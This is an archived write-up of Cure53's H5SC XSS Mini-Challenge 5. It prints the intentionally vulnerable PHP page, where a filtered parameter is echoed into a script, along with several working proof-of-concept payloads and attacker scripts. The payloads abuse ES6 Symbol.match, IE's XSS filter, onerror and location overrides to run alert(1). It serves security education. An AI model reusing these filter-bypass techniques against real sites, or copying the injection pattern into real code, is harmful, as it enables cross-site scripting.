Skip to content
This repository has been archived by the owner on Jul 4, 2023. It is now read-only.

H5SC Mini Challenge 5

Cure53 edited this page Apr 26, 2016 · 10 revisions

H5SC Mini-Challenge 5

This Mini-Challenge was created with two things in mind: ECMA Script 6 Symbols and XXN attacks. Both are highly interesting, especially with complex JavaScript-heavy applications in mind - but similarly, require a couple of stars to be aligned the right way to be useful for exploitation.

Source Code

This is the PHP source code we used for the challenge:

<?php
header('X-Frame-Options: DENY');
header('X-Content-Type-Options: nosniff');
header('X-Download-Options: noopen');
header('Content-Type: text/html; charset=utf-8');
?>
<!doctype html>
<h6>A challenge by Masato, FD and .mario</h6>
<h1>The XSS Metaphor</h1>
<p>
Is it real?
<br>
Can it be?
<br>
What is the meaning of life?
<br>
Can you execute <code>alert(1)</code> in this origin?
<br>
Is the vulnerable parameter called <code>xss</code>? 
<br>
Does it matter?
</p>
<script type="text/javascript">
<?php
$_GET['xss'] = isset($_GET['xss']) ? $_GET['xss'] : '1';
?>onload=onhashchange=func;
function func(){
	try{
        <?php echo preg_replace('/[^0-9A-Za-mo-z.\[\]=]/', ' ', $_GET['xss']);?>;
		u=location.hash.slice(1);
		if(u.match(/^https?:\/\/cure53.de\//)) {
	            "/"+u.match(/\\/);
	    		location=u;
		}
	}catch(e){
	    	throw <?php echo preg_replace('/[^0-9A-Za-mo-z.\[\]=]/', ' ', $_GET['xss']);?>;
	}
}
</script>
<p>In scope are recent Chrome, Edge and Firefox browsers.
<br>
There is more than one expected solution. One easy, one hard. Experts will find both. User interaction is not required.</p>
<h2>Winners</h2>
<ol>
	<li>You?</li>
</ol>
<p>
Mail <a href="mailto:[email protected]">.mario</a> or <a href="mailto:[email protected]">FD</a> or <a href="mailto:[email protected]">Masato</a> if you did it :)
</p>

As you can see, the challenge here is, that we do have an injection but it is heavily restricted and only allows for a very small range of characters. Letters other than [^0-9A-Za-mo-z.\[\]=] will be replaced with an empty space, rendering most reasonable script-payloads to be useless.

Expected Solution One

The first expected solution, basically the idea the challenge was born around was the use of ECMA Script 6 Symbols. Symbols are a very powerful feature but don't receive too much attention in the XSS community. Maybe because they are quite crude in their goals, overly specific sometimes - and yet another multi-tool hidden behind one single feature.

Mozilla's MDN has a great write-up about symbols, other websites have goo info too:

Yep, that's JavaScript Meta-Programming right there :)

Now, here is our model solution, working in Chrome 51:

<a 
      href="https://html5sec.org/minichallenges/5?xss=RegExp.prototype[Symbol.match]=eval#https://cure53.de/=1&#x2028;alert(1)" 
      target="_blank"
>CLICK</a>

The following code would be injected into the page:

RegExp.prototype[Symbol.match]=eval

This code would turn the Regex.match() into an actual eval. By then matching the following string, the eval would receive first a label called http: and then, in the next line, a value that is alert(1). Done - challenge solved (and as usual, the model solution was more complicated than necessary) :)

https://cure53.de/=1&#x2028;alert(1)
^label ^comment     ^LS     ^alert :D

This solution and comparable ones, shown below later on, were found by the majority of participants. Some of them directed the data to match against into an eval, others made the match always return true - and went for the location assignment. So, technically two solutions hidden in one.

Here is a list of solutions, that use the same technique in a much more elegant way:

Expected Solution Two

This solution was only found by one of the participants. And it involves XXN, one of the most subtle yet powerful attacks that is exclusively affecting MSIE and Edge. XXN, also referred to as "X-XSS-Nightmare" makes use of the risky behavior, MSIE's XSS filter choses to work with in the default configuration.

To get a great introduction into XXN, best have a look at Masato Kinugawa's outstanding research:

The expected solution number two looks like this:

https://html5sec.org/minichallenges/5?xss=slice=alert&"++++++++++++++++++++++++++++++hash.slice++++++++++++++++++++++++++=

Now, let's have a very close look at what this does. The original source of the challenge looks like this:

u=location.hash.slice(1);
if(u.match(/^https?:\/\/cure53.de\//)) {
    "/"+u.match(/\\/);
    location=u;
}

Now, when we open the URL above in MSIE11 or Edge, the script all of a sudden changes to this:

u=location.hash^slice(1); // See this? The dot becomes a caret! IE's XSS filter does this.
if(u.match(/^https?:\/\/cure53.de\//)) {
    "/"+u.match(/\\/);
    location=u;
}

Now, thanks to the XSS filter, the original script gets modified. This enables our injection to step in and enable the rest of the attack to work: slice=alert. Read Masato's slides to find out what exactly is going on here.

So, we decoupled slide from location by having the IE XSS filter exchange the dot with a caret (which is a valid JavaScript operator). That allows the injection to have effect - and we successfully execute the demanded alert.

Unexpected Solutions

Now, what would a proper XSS challenge be without any unexpected solutions :) We received several ones and every single one was outstanding and mind-blowing! Here we go:

Tamás Hegedűs' Solution

When Tamás sent in his submission we were like.. what? It took a while to figure out what he did, see for yourself :D

<script>
var xss = "self[[typeof [[[d=self.w][w=self.u]][self[self.u]=eval]][Array.prototype.valueOf=URL]][0][2]]",
hashes = [
  "#onerror",
  "#Uncaught",
  "#+alert(1)",
  "#https://cure53.de/\\"
], i=0, w;

function step() {
  var hash = hashes[i++];
  if (hash) {
    var url = "https://html5sec.org/minichallenges/5?xss=" + xss + hash;
    if (i>1) { 
      w.location = url;
      setTimeout(step, 100);
    } else {
      w = open(url);
      setTimeout(step, 500);
    }
  }
}
step();
</script>

Figured it out? No? He makes use of the good old onerror=alert; throw 1 trick. Only that is not that easy to exploit in our context. So first, he overwrites onerror with eval, then he creates a reference to Uncaught so it's not undefined and then he adds +alert(1) to the mix. The result is Chrome (and other browsers - but not Firefox, see for yourself why that is) throwing an error, the error is being handled by eval, and eval received the string Uncaught +alert(1). Done.

Pepe Vila & aerøx' Solution

This one is using a similar technique to overwrite things, yet we're not dealing with any manipulated error handlers - but rather a slight modification of the variables used in the challenge code alongside fiddling with window via this:

<script>
function foo() {
    // set b="location"
    window.open("https://html5sec.org/minichallenges/5?xss=[this[this.b]=this.u][b=this.u]#location","xss");
    setTimeout(function(){
        // set u="javascript:alert(1)"
        window.open("https://html5sec.org/minichallenges/5?xss=[this[this.b]=this.u][b=this.u]#javascript:alert(1)","xss");
        setTimeout(function(){
            // execute
            window.open("https://html5sec.org/minichallenges/5?xss=[this[this.b]=this.u][b=this.u]#w00t","xss");
        }, 100);
    }, 100);
}
</script>
<a onclick="foo()"><h1>FREE VIAGRA! --&gt;Click&lt;--</h1></a>

First, b (or whatever character is not blocked by our nasty regex) is set to be location by grabbing what is left from the slice operation. Then, u is being set to a JavaScript URI. And finally, the whole thing is mapped to this[b] which is location - meaning this[b]=this[u] or location='javascript:alert(1)'. Sweet :D

Michał Bentkowski's Solution

Similar to the other submissions, Michał maps his way through our DOM to finally get and assignment working that is capable of executing JavaScript code from a string.

<big><a href="javascript:exploit()">Click here for the magic.</a></big>
<script>

function createURL(xss, hash) {
   xss = encodeURIComponent(xss);
   hash = hash;
   return `https://html5sec.org/minichallenges/5?xss=${xss}#${hash}`;

}
var currentURL='';
var win;

function exploit() {
   currentURL = createURL("localStorage.x=top.u", "String");
   win = window.open(currentURL, '_blank');
   setTimeout(exploit2, 1000);
}

function exploit2() {
   win.location = currentURL + 'x';
   setTimeout(exploit3, 100);
}

function exploit3() {
   let newURL = createURL('top[localStorage.x].prototype.match=escape',
'javascript:alert(1)');
   win.location = newURL;
}
</script>

Michał essentially maps String to become content of localStorage.x. In the final step, he overwrites the prototype of the match() method of the String constructor with the global escape function.

By doing that, match() will always return true and thus the code will be allowed to assign the payload to location - and we have XSS! Meta-programming at its best.

Simon Lindholm's Solution

Simon also maps his way through our DOM to finally get and assignment working that is capable of executing JavaScript code from a string.

<input type="button" onclick="u =
'https://html5sec.org/minichallenges/5?xss=[Array[typeof%20status]%20=%20Array][[Array[typeof%20u]%20=%20this[this.u]][Array[typeof%20status].prototype.match%20=%20isNaN]]#',
v = u + 'javascript:alert(1)'; w = window.open(u + 'String');
setTimeout('w.location = v', 1000);" value="click me!">

The technique applied here is similar, only that the match() method of the String.prototype is this time not overwritten with escape but another function our heavily restricted alphabet of characters allows: isNaN.

That function, fed with a string of course returns true, simulates the successful match and opens the gate for the location assignment. Case closed :D

Solvers

  1. Gábor Molnár, who found both possible solutions (confirmed on 18th of April 2016, 2pm)
  2. A gentleman going by the name phiber, one of two solutions (confirmed on 20th of April 2016, 4pm)
  3. David Júlio, who found one of two solutions (confirmed on 21st of April 2016, 11am)
  4. Tamás Hegedűs with an incredible and complex unexpected solution, wow! (confirmed on 23rd of April, 9pm)
  5. Pepe Vila & aerøx, who found two solutions, one being unexpected! (confirmed on 25th of April 2016, 2pm)
  6. Michał Bentkowski with two solutions, one of them completely unexpected! (confirmed on 26th of April 2016, 10am)
  7. Simon Lindholm, with one expected and one unexpected solution :D (confirmed on 26th of April 2016, 10am)